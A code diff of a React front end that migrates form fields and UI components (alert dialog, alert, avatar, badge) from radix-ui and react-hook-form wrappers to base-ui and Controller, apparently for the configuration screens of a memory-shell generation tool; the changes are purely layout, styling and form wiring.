<FieldError errors={[fieldState.error]} />
|
||||||
|
)}
|
||||||
|
</Field>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
<Separator />
|
<Separator />
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="shellClassName"
|
name="shellClassName"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel htmlFor="shellClassName">
|
<FieldLabel htmlFor="shellClassName">
|
||||||
{t("probeshell:shellClassName")} {t("optional")}
|
{t("probeshell:shellClassName")} {t("optional")}
|
||||||
</FormFieldLabel>
|
</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
id="shellClassName"
|
id="shellClassName"
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("placeholders.input")}
|
placeholder={t("placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
</FormProvider>
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,14 +1,9 @@
|
|||||||
import { PackageIcon } from "lucide-react";
|
import { PackageIcon } from "lucide-react";
|
||||||
import { useEffect, useState } from "react";
|
import { useEffect, useState } from "react";
|
||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||||
import {
|
import { FieldLabel } from "@/components/ui/field";
|
||||||
FormControl,
|
|
||||||
FormField,
|
|
||||||
FormItem,
|
|
||||||
FormLabel,
|
|
||||||
} from "@/components/ui/form";
|
|
||||||
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
|
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
|
||||||
import type { PackerConfig } from "@/types/memshell";
|
import type { PackerConfig } from "@/types/memshell";
|
||||||
import type { ProbeShellFormSchema } from "@/types/schema";
|
import type { ProbeShellFormSchema } from "@/types/schema";
|
||||||
@@ -30,7 +25,11 @@ export default function PackageConfigCard({
|
|||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const filteredOptions = (packerConfig ?? []).filter((name) => {
|
const filteredOptions = (packerConfig ?? []).filter((name) => {
|
||||||
return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl") && !name.toLowerCase().endsWith("jar");
|
return (
|
||||||
|
!name.startsWith("Agent") &&
|
||||||
|
!name.toLowerCase().startsWith("xxl") &&
|
||||||
|
!name.toLowerCase().endsWith("jar")
|
||||||
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
const mappedOptions = filteredOptions.map((name) => {
|
const mappedOptions = filteredOptions.map((name) => {
|
||||||
@@ -60,40 +59,35 @@ export default function PackageConfigCard({
|
|||||||
</CardHeader>
|
</CardHeader>
|
||||||
<CardContent>
|
<CardContent>
|
||||||
{options.length > 0 ? (
|
{options.length > 0 ? (
|
||||||
<FormProvider {...form}>
|
<Controller
|
||||||
<FormField
|
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="packingMethod"
|
name="packingMethod"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormItem className="space-y-3">
|
<div className="space-y-3">
|
||||||
<FormLabel>{t("packerMethod")}</FormLabel>
|
<FieldLabel>{t("packerMethod")}</FieldLabel>
|
||||||
<FormControl>
|
<div>
|
||||||
<RadioGroup
|
<RadioGroup
|
||||||
onValueChange={field.onChange}
|
onValueChange={field.onChange}
|
||||||
value={field.value}
|
value={field.value}
|
||||||
className="grid grid-cols-2 md:grid-cols-3"
|
className="grid grid-cols-2 md:grid-cols-3"
|
||||||
>
|
>
|
||||||
{options.map(({ name, value }) => (
|
{options.map(({ name, value }) => (
|
||||||
<FormItem
|
<div key={value} className="flex items-center space-x-3">
|
||||||
key={value}
|
<div>
|
||||||
className="flex items-center space-x-3 space-y-0"
|
|
||||||
>
|
|
||||||
<FormControl>
|
|
||||||
<RadioGroupItem value={value} id={value} />
|
<RadioGroupItem value={value} id={value} />
|
||||||
</FormControl>
|
</div>
|
||||||
<FormLabel className="text-xs" htmlFor={value}>
|
<FieldLabel className="text-xs" htmlFor={value}>
|
||||||
{name}
|
{name}
|
||||||
</FormLabel>
|
</FieldLabel>
|
||||||
</FormItem>
|
</div>
|
||||||
))}
|
))}
|
||||||
</RadioGroup>
|
</RadioGroup>
|
||||||
</FormControl>
|
</div>
|
||||||
</FormItem>
|
</div>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</FormProvider>
|
|
||||||
) : (
|
) : (
|
||||||
<div className="flex items-center justify-center p-4 space-x-2">
|
<div className="flex items-center justify-center p-4">
|
||||||
<div className="h-4 w-4 animate-spin rounded-full border-2 border-primary border-t-transparent" />
|
<div className="h-4 w-4 animate-spin rounded-full border-2 border-primary border-t-transparent" />
|
||||||
<span className="text-sm text-muted-foreground">
|
<span className="text-sm text-muted-foreground">
|
||||||
{t("loading")}
|
{t("loading")}
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ export default function ShellResult({
|
|||||||
return <QuickUsage />;
|
return <QuickUsage />;
|
||||||
}
|
}
|
||||||
const showCode = packMethod === "JSP";
|
const showCode = packMethod === "JSP";
|
||||||
const height = 550;
|
const height = 600;
|
||||||
return (
|
return (
|
||||||
<Tabs defaultValue="packResult">
|
<Tabs defaultValue="packResult">
|
||||||
<TabsList className="grid w-full grid-cols-1">
|
<TabsList className="grid w-full grid-cols-1">
|
||||||
@@ -30,7 +30,7 @@ export default function ShellResult({
|
|||||||
{t("common:generateResult")}
|
{t("common:generateResult")}
|
||||||
</TabsTrigger>
|
</TabsTrigger>
|
||||||
</TabsList>
|
</TabsList>
|
||||||
<TabsContent value="packResult" className="my-2 space-y-4">
|
<TabsContent value="packResult" className="space-y-2">
|
||||||
<BasicInfo generateResult={generateResult} />
|
<BasicInfo generateResult={generateResult} />
|
||||||
{allPackResults && (
|
{allPackResults && (
|
||||||
<MultiPackResult
|
<MultiPackResult
|
||||||
|
|||||||
@@ -1,25 +1,19 @@
|
|||||||
import { AlertDialog as AlertDialogPrimitive } from "radix-ui";
|
import { AlertDialog as AlertDialogPrimitive } from "@base-ui/react/alert-dialog";
|
||||||
import type * as React from "react";
|
import type * as React from "react";
|
||||||
import { buttonVariants } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import { cn } from "@/lib/utils";
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
function AlertDialog({
|
function AlertDialog({ ...props }: AlertDialogPrimitive.Root.Props) {
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof AlertDialogPrimitive.Root>) {
|
|
||||||
return <AlertDialogPrimitive.Root data-slot="alert-dialog" {...props} />;
|
return <AlertDialogPrimitive.Root data-slot="alert-dialog" {...props} />;
|
||||||
}
|
}
|
||||||
|
|
||||||
function AlertDialogTrigger({
|
function AlertDialogTrigger({ ...props }: AlertDialogPrimitive.Trigger.Props) {
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof AlertDialogPrimitive.Trigger>) {
|
|
||||||
return (
|
return (
|
||||||
<AlertDialogPrimitive.Trigger data-slot="alert-dialog-trigger" {...props} />
|
<AlertDialogPrimitive.Trigger data-slot="alert-dialog-trigger" {...props} />
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
function AlertDialogPortal({
|
function AlertDialogPortal({ ...props }: AlertDialogPrimitive.Portal.Props) {
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof AlertDialogPrimitive.Portal>) {
|
|
||||||
return (
|
return (
|
||||||
<AlertDialogPrimitive.Portal data-slot="alert-dialog-portal" {...props} />
|
<AlertDialogPrimitive.Portal data-slot="alert-dialog-portal" {...props} />
|
||||||
);
|
);
|
||||||
@@ -28,12 +22,12 @@ function AlertDialogPortal({
|
|||||||
function AlertDialogOverlay({
|
function AlertDialogOverlay({
|
||||||
className,
|
className,
|
||||||
...props
|
...props
|
||||||
}: React.ComponentProps<typeof AlertDialogPrimitive.Overlay>) {
|
}: AlertDialogPrimitive.Backdrop.Props) {
|
||||||
return (
|
return (
|
||||||
<AlertDialogPrimitive.Overlay
|
<AlertDialogPrimitive.Backdrop
|
||||||
data-slot="alert-dialog-overlay"
|
data-slot="alert-dialog-overlay"
|
||||||
className={cn(
|
className={cn(
|
||||||
"data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 fixed inset-0 z-50 bg-black/50",
|
"data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 bg-black/10 duration-100 supports-backdrop-filter:backdrop-blur-xs fixed inset-0 isolate z-50",
|
||||||
className,
|
className,
|
||||||
)}
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
@@ -43,15 +37,19 @@ function AlertDialogOverlay({
|
|||||||
|
|
||||||
function AlertDialogContent({
|
function AlertDialogContent({
|
||||||
className,
|
className,
|
||||||
|
size = "default",
|
||||||
...props
|
...props
|
||||||
}: React.ComponentProps<typeof AlertDialogPrimitive.Content>) {
|
}: AlertDialogPrimitive.Popup.Props & {
|
||||||
|
size?: "default" | "sm";
|
||||||
|
}) {
|
||||||
return (
|
return (
|
||||||
<AlertDialogPortal>
|
<AlertDialogPortal>
|
||||||
<AlertDialogOverlay />
|
<AlertDialogOverlay />
|
||||||
<AlertDialogPrimitive.Content
|
<AlertDialogPrimitive.Popup
|
||||||
data-slot="alert-dialog-content"
|
data-slot="alert-dialog-content"
|
||||||
|
data-size={size}
|
||||||
className={cn(
|
className={cn(
|
||||||
"bg-background data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] translate-x-[-50%] translate-y-[-50%] gap-4 rounded-lg border p-6 shadow-lg duration-200 sm:max-w-lg",
|
"data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 data-closed:zoom-out-95 data-open:zoom-in-95 bg-background ring-foreground/10 gap-6 rounded-xl p-6 ring-1 duration-100 data-[size=default]:max-w-xs data-[size=sm]:max-w-xs data-[size=default]:sm:max-w-lg group/alert-dialog-content fixed top-1/2 left-1/2 z-50 grid w-full -translate-x-1/2 -translate-y-1/2 outline-none",
|
||||||
className,
|
className,
|
||||||
)}
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
@@ -67,7 +65,10 @@ function AlertDialogHeader({
|
|||||||
return (
|
return (
|
||||||
<div
|
<div
|
||||||
data-slot="alert-dialog-header"
|
data-slot="alert-dialog-header"
|
||||||
className={cn("flex flex-col gap-2 text-center sm:text-left", className)}
|
className={cn(
|
||||||
|
"grid grid-rows-[auto_1fr] place-items-center gap-1.5 text-center has-data-[slot=alert-dialog-media]:grid-rows-[auto_auto_1fr] has-data-[slot=alert-dialog-media]:gap-x-6 sm:group-data-[size=default]/alert-dialog-content:place-items-start sm:group-data-[size=default]/alert-dialog-content:text-left sm:group-data-[size=default]/alert-dialog-content:has-data-[slot=alert-dialog-media]:grid-rows-[auto_1fr]",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
@@ -81,7 +82,23 @@ function AlertDialogFooter({
|
|||||||
<div
|
<div
|
||||||
data-slot="alert-dialog-footer"
|
data-slot="alert-dialog-footer"
|
||||||
className={cn(
|
className={cn(
|
||||||
"flex flex-col-reverse gap-2 sm:flex-row sm:justify-end",
|
"flex flex-col-reverse gap-2 group-data-[size=sm]/alert-dialog-content:grid group-data-[size=sm]/alert-dialog-content:grid-cols-2 sm:flex-row sm:justify-end",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function AlertDialogMedia({
|
||||||
|
className,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<"div">) {
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
data-slot="alert-dialog-media"
|
||||||
|
className={cn(
|
||||||
|
"bg-muted mb-2 inline-flex size-16 items-center justify-center rounded-md sm:group-data-[size=default]/alert-dialog-content:row-span-2 *:[svg:not([class*='size-'])]:size-8",
|
||||||
className,
|
className,
|
||||||
)}
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
@@ -96,7 +113,10 @@ function AlertDialogTitle({
|
|||||||
return (
|
return (
|
||||||
<AlertDialogPrimitive.Title
|
<AlertDialogPrimitive.Title
|
||||||
data-slot="alert-dialog-title"
|
data-slot="alert-dialog-title"
|
||||||
className={cn("text-lg font-semibold", className)}
|
className={cn(
|
||||||
|
"text-lg font-medium sm:group-data-[size=default]/alert-dialog-content:group-has-data-[slot=alert-dialog-media]/alert-dialog-content:col-start-2",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
@@ -109,7 +129,10 @@ function AlertDialogDescription({
|
|||||||
return (
|
return (
|
||||||
<AlertDialogPrimitive.Description
|
<AlertDialogPrimitive.Description
|
||||||
data-slot="alert-dialog-description"
|
data-slot="alert-dialog-description"
|
||||||
className={cn("text-muted-foreground text-sm", className)}
|
className={cn(
|
||||||
|
"text-muted-foreground *:[a]:hover:text-foreground text-sm text-balance md:text-pretty *:[a]:underline *:[a]:underline-offset-3",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
@@ -118,10 +141,11 @@ function AlertDialogDescription({
|
|||||||
function AlertDialogAction({
|
function AlertDialogAction({
|
||||||
className,
|
className,
|
||||||
...props
|
...props
|
||||||
}: React.ComponentProps<typeof AlertDialogPrimitive.Action>) {
|
}: React.ComponentProps<typeof Button>) {
|
||||||
return (
|
return (
|
||||||
<AlertDialogPrimitive.Action
|
<Button
|
||||||
className={cn(buttonVariants(), className)}
|
data-slot="alert-dialog-action"
|
||||||
|
className={cn(className)}
|
||||||
{...props}
|
{...props}
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
@@ -129,11 +153,16 @@ function AlertDialogAction({
|
|||||||
|
|
||||||
function AlertDialogCancel({
|
function AlertDialogCancel({
|
||||||
className,
|
className,
|
||||||
|
variant = "outline",
|
||||||
|
size = "default",
|
||||||
...props
|
...props
|
||||||
}: React.ComponentProps<typeof AlertDialogPrimitive.Cancel>) {
|
}: AlertDialogPrimitive.Close.Props &
|
||||||
|
Pick<React.ComponentProps<typeof Button>, "variant" | "size">) {
|
||||||
return (
|
return (
|
||||||
<AlertDialogPrimitive.Cancel
|
<AlertDialogPrimitive.Close
|
||||||
className={cn(buttonVariants({ variant: "outline" }), className)}
|
data-slot="alert-dialog-cancel"
|
||||||
|
className={cn(className)}
|
||||||
|
render={<Button variant={variant} size={size} />}
|
||||||
{...props}
|
{...props}
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
@@ -141,14 +170,15 @@ function AlertDialogCancel({
|
|||||||
|
|
||||||
export {
|
export {
|
||||||
AlertDialog,
|
AlertDialog,
|
||||||
AlertDialogPortal,
|
|
||||||
AlertDialogOverlay,
|
|
||||||
AlertDialogTrigger,
|
|
||||||
AlertDialogContent,
|
|
||||||
AlertDialogHeader,
|
|
||||||
AlertDialogFooter,
|
|
||||||
AlertDialogTitle,
|
|
||||||
AlertDialogDescription,
|
|
||||||
AlertDialogAction,
|
AlertDialogAction,
|
||||||
AlertDialogCancel,
|
AlertDialogCancel,
|
||||||
|
AlertDialogContent,
|
||||||
|
AlertDialogDescription,
|
||||||
|
AlertDialogFooter,
|
||||||
|
AlertDialogHeader,
|
||||||
|
AlertDialogMedia,
|
||||||
|
AlertDialogOverlay,
|
||||||
|
AlertDialogPortal,
|
||||||
|
AlertDialogTitle,
|
||||||
|
AlertDialogTrigger,
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -4,13 +4,13 @@ import type * as React from "react";
|
|||||||
import { cn } from "@/lib/utils";
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
const alertVariants = cva(
|
const alertVariants = cva(
|
||||||
"relative w-full rounded-lg border px-4 py-3 text-sm grid has-[>svg]:grid-cols-[calc(var(--spacing)*4)_1fr] grid-cols-[0_1fr] has-[>svg]:gap-x-3 gap-y-0.5 items-start [&>svg]:size-4 [&>svg]:translate-y-0.5 [&>svg]:text-current",
|
"grid gap-0.5 rounded-lg border px-4 py-3 text-left text-sm has-data-[slot=alert-action]:relative has-data-[slot=alert-action]:pr-18 has-[>svg]:grid-cols-[auto_1fr] has-[>svg]:gap-x-2.5 *:[svg]:row-span-2 *:[svg]:translate-y-0.5 *:[svg]:text-current *:[svg:not([class*='size-'])]:size-4 w-full relative group/alert",
|
||||||
{
|
{
|
||||||
variants: {
|
variants: {
|
||||||
variant: {
|
variant: {
|
||||||
default: "bg-card text-card-foreground",
|
default: "bg-card text-card-foreground",
|
||||||
destructive:
|
destructive:
|
||||||
"text-destructive bg-card [&>svg]:text-current *:data-[slot=alert-description]:text-destructive/90",
|
"text-destructive bg-card *:data-[slot=alert-description]:text-destructive/90 *:[svg]:text-current",
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
defaultVariants: {
|
defaultVariants: {
|
||||||
@@ -39,7 +39,7 @@ function AlertTitle({ className, ...props }: React.ComponentProps<"div">) {
|
|||||||
<div
|
<div
|
||||||
data-slot="alert-title"
|
data-slot="alert-title"
|
||||||
className={cn(
|
className={cn(
|
||||||
"col-start-2 line-clamp-1 min-h-4 font-medium tracking-tight",
|
"font-medium group-has-[>svg]/alert:col-start-2 [&_a]:hover:text-foreground [&_a]:underline [&_a]:underline-offset-3",
|
||||||
className,
|
className,
|
||||||
)}
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
@@ -55,7 +55,7 @@ function AlertDescription({
|
|||||||
<div
|
<div
|
||||||
data-slot="alert-description"
|
data-slot="alert-description"
|
||||||
className={cn(
|
className={cn(
|
||||||
"text-muted-foreground col-start-2 grid justify-items-start gap-1 text-sm [&_p]:leading-relaxed",
|
"text-muted-foreground text-sm text-balance md:text-pretty [&_p:not(:last-child)]:mb-4 [&_a]:hover:text-foreground [&_a]:underline [&_a]:underline-offset-3",
|
||||||
className,
|
className,
|
||||||
)}
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
@@ -63,4 +63,14 @@ function AlertDescription({
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
export { Alert, AlertTitle, AlertDescription };
|
function AlertAction({ className, ...props }: React.ComponentProps<"div">) {
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
data-slot="alert-action"
|
||||||
|
className={cn("absolute top-2.5 right-3", className)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export { Alert, AlertTitle, AlertDescription, AlertAction };
|
||||||
|
|||||||
@@ -1,17 +1,21 @@
|
|||||||
import { Avatar as AvatarPrimitive } from "radix-ui";
|
import { Avatar as AvatarPrimitive } from "@base-ui/react/avatar";
|
||||||
import type * as React from "react";
|
import type * as React from "react";
|
||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
function Avatar({
|
function Avatar({
|
||||||
className,
|
className,
|
||||||
|
size = "default",
|
||||||
...props
|
...props
|
||||||
}: React.ComponentProps<typeof AvatarPrimitive.Root>) {
|
}: AvatarPrimitive.Root.Props & {
|
||||||
|
size?: "default" | "sm" | "lg";
|
||||||
|
}) {
|
||||||
return (
|
return (
|
||||||
<AvatarPrimitive.Root
|
<AvatarPrimitive.Root
|
||||||
data-slot="avatar"
|
data-slot="avatar"
|
||||||
|
data-size={size}
|
||||||
className={cn(
|
className={cn(
|
||||||
"relative flex size-8 shrink-0 overflow-hidden rounded-full",
|
"size-8 rounded-full after:rounded-full data-[size=lg]:size-10 data-[size=sm]:size-6 after:border-border group/avatar relative flex shrink-0 select-none after:absolute after:inset-0 after:border after:mix-blend-darken dark:after:mix-blend-lighten",
|
||||||
className,
|
className,
|
||||||
)}
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
@@ -19,14 +23,14 @@ function Avatar({
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
function AvatarImage({
|
function AvatarImage({ className, ...props }: AvatarPrimitive.Image.Props) {
|
||||||
className,
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof AvatarPrimitive.Image>) {
|
|
||||||
return (
|
return (
|
||||||
<AvatarPrimitive.Image
|
<AvatarPrimitive.Image
|
||||||
data-slot="avatar-image"
|
data-slot="avatar-image"
|
||||||
className={cn("aspect-square size-full", className)}
|
className={cn(
|
||||||
|
"rounded-full aspect-square size-full object-cover",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
@@ -35,12 +39,12 @@ function AvatarImage({
|
|||||||
function AvatarFallback({
|
function AvatarFallback({
|
||||||
className,
|
className,
|
||||||
...props
|
...props
|
||||||
}: React.ComponentProps<typeof AvatarPrimitive.Fallback>) {
|
}: AvatarPrimitive.Fallback.Props) {
|
||||||
return (
|
return (
|
||||||
<AvatarPrimitive.Fallback
|
<AvatarPrimitive.Fallback
|
||||||
data-slot="avatar-fallback"
|
data-slot="avatar-fallback"
|
||||||
className={cn(
|
className={cn(
|
||||||
"bg-muted flex size-full items-center justify-center rounded-full",
|
"bg-muted text-muted-foreground rounded-full flex size-full items-center justify-center text-sm group-data-[size=sm]/avatar:text-xs",
|
||||||
className,
|
className,
|
||||||
)}
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
@@ -48,4 +52,56 @@ function AvatarFallback({
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
export { Avatar, AvatarImage, AvatarFallback };
|
function AvatarBadge({ className, ...props }: React.ComponentProps<"span">) {
|
||||||
|
return (
|
||||||
|
<span
|
||||||
|
data-slot="avatar-badge"
|
||||||
|
className={cn(
|
||||||
|
"bg-primary text-primary-foreground ring-background absolute right-0 bottom-0 z-10 inline-flex items-center justify-center rounded-full bg-blend-color ring-2 select-none",
|
||||||
|
"group-data-[size=sm]/avatar:size-2 group-data-[size=sm]/avatar:[&>svg]:hidden",
|
||||||
|
"group-data-[size=default]/avatar:size-2.5 group-data-[size=default]/avatar:[&>svg]:size-2",
|
||||||
|
"group-data-[size=lg]/avatar:size-3 group-data-[size=lg]/avatar:[&>svg]:size-2",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function AvatarGroup({ className, ...props }: React.ComponentProps<"div">) {
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
data-slot="avatar-group"
|
||||||
|
className={cn(
|
||||||
|
"*:data-[slot=avatar]:ring-background group/avatar-group flex -space-x-2 *:data-[slot=avatar]:ring-2",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function AvatarGroupCount({
|
||||||
|
className,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<"div">) {
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
data-slot="avatar-group-count"
|
||||||
|
className={cn(
|
||||||
|
"bg-muted text-muted-foreground size-8 rounded-full text-sm group-has-data-[size=lg]/avatar-group:size-10 group-has-data-[size=sm]/avatar-group:size-6 [&>svg]:size-4 group-has-data-[size=lg]/avatar-group:[&>svg]:size-5 group-has-data-[size=sm]/avatar-group:[&>svg]:size-3 ring-background relative flex shrink-0 items-center justify-center ring-2",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export {
|
||||||
|
Avatar,
|
||||||
|
AvatarImage,
|
||||||
|
AvatarFallback,
|
||||||
|
AvatarGroup,
|
||||||
|
AvatarGroupCount,
|
||||||
|
AvatarBadge,
|
||||||
|
};
|
||||||
|
|||||||
@@ -1,22 +1,24 @@
|
|||||||
|
import { mergeProps } from "@base-ui/react/merge-props";
|
||||||
|
import { useRender } from "@base-ui/react/use-render";
|
||||||
import { cva, type VariantProps } from "class-variance-authority";
|
import { cva, type VariantProps } from "class-variance-authority";
|
||||||
import { Slot as SlotPrimitive } from "radix-ui";
|
|
||||||
import type * as React from "react";
|
|
||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
const badgeVariants = cva(
|
const badgeVariants = cva(
|
||||||
"inline-flex items-center justify-center rounded-md border px-2 py-0.5 text-xs font-medium w-fit whitespace-nowrap shrink-0 [&>svg]:size-3 gap-1 [&>svg]:pointer-events-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive transition-[color,box-shadow] overflow-hidden",
|
"h-5 gap-1 rounded-4xl border border-transparent px-2 py-0.5 text-xs font-medium transition-all has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 [&>svg]:size-3! inline-flex items-center justify-center w-fit whitespace-nowrap shrink-0 [&>svg]:pointer-events-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive transition-colors overflow-hidden group/badge",
|
||||||
{
|
{
|
||||||
variants: {
|
variants: {
|
||||||
variant: {
|
variant: {
|
||||||
default:
|
default: "bg-primary text-primary-foreground [a]:hover:bg-primary/80",
|
||||||
"border-transparent bg-primary text-primary-foreground [a&]:hover:bg-primary/90",
|
|
||||||
secondary:
|
secondary:
|
||||||
"border-transparent bg-secondary text-secondary-foreground [a&]:hover:bg-secondary/90",
|
"bg-secondary text-secondary-foreground [a]:hover:bg-secondary/80",
|
||||||
destructive:
|
destructive:
|
||||||
"border-transparent bg-destructive text-white [a&]:hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60",
|
"bg-destructive/10 [a]:hover:bg-destructive/20 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 text-destructive dark:bg-destructive/20",
|
||||||
outline:
|
outline:
|
||||||
"text-foreground [a&]:hover:bg-accent [a&]:hover:text-accent-foreground",
|
"border-border text-foreground [a]:hover:bg-muted [a]:hover:text-muted-foreground",
|
||||||
|
ghost:
|
||||||
|
"hover:bg-muted hover:text-muted-foreground dark:hover:bg-muted/50",
|
||||||
|
link: "text-primary underline-offset-4 hover:underline",
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
defaultVariants: {
|
defaultVariants: {
|
||||||
@@ -27,20 +29,24 @@ const badgeVariants = cva(
|
|||||||
|
|
||||||
function Badge({
|
function Badge({
|
||||||
className,
|
className,
|
||||||
variant,
|
variant = "default",
|
||||||
asChild = false,
|
render,
|
||||||
...props
|
...props
|
||||||
}: React.ComponentProps<"span"> &
|
}: useRender.ComponentProps<"span"> & VariantProps<typeof badgeVariants>) {
|
||||||
VariantProps<typeof badgeVariants> & { asChild?: boolean }) {
|
return useRender({
|
||||||
const Comp = asChild ? SlotPrimitive.Slot : "span";
|
defaultTagName: "span",
|
||||||
|
props: mergeProps<"span">(
|
||||||
return (
|
{
|
||||||
<Comp
|
className: cn(badgeVariants({ className, variant })),
|
||||||
data-slot="badge"
|
},
|
||||||
className={cn(badgeVariants({ variant }), className)}
|
props,
|
||||||
{...props}
|
),
|
||||||
/>
|
render,
|
||||||
);
|
state: {
|
||||||
|
slot: "badge",
|
||||||
|
variant,
|
||||||
|
},
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
export { Badge, badgeVariants };
|
export { Badge, badgeVariants };
|
||||||
|
|||||||
@@ -1,108 +0,0 @@
|
|||||||
import { ChevronRight, MoreHorizontal } from "lucide-react";
|
|
||||||
import { Slot as SlotPrimitive } from "radix-ui";
|
|
||||||
import type * as React from "react";
|
|
||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
|
||||||
|
|
||||||
function Breadcrumb({ ...props }: React.ComponentProps<"nav">) {
|
|
||||||
return <nav aria-label="breadcrumb" data-slot="breadcrumb" {...props} />;
|
|
||||||
}
|
|
||||||
|
|
||||||
function BreadcrumbList({ className, ...props }: React.ComponentProps<"ol">) {
|
|
||||||
return (
|
|
||||||
<ol
|
|
||||||
data-slot="breadcrumb-list"
|
|
||||||
className={cn(
|
|
||||||
"text-muted-foreground flex flex-wrap items-center gap-1.5 text-sm break-words sm:gap-2.5",
|
|
||||||
className,
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function BreadcrumbItem({ className, ...props }: React.ComponentProps<"li">) {
|
|
||||||
return (
|
|
||||||
<li
|
|
||||||
data-slot="breadcrumb-item"
|
|
||||||
className={cn("inline-flex items-center gap-1.5", className)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
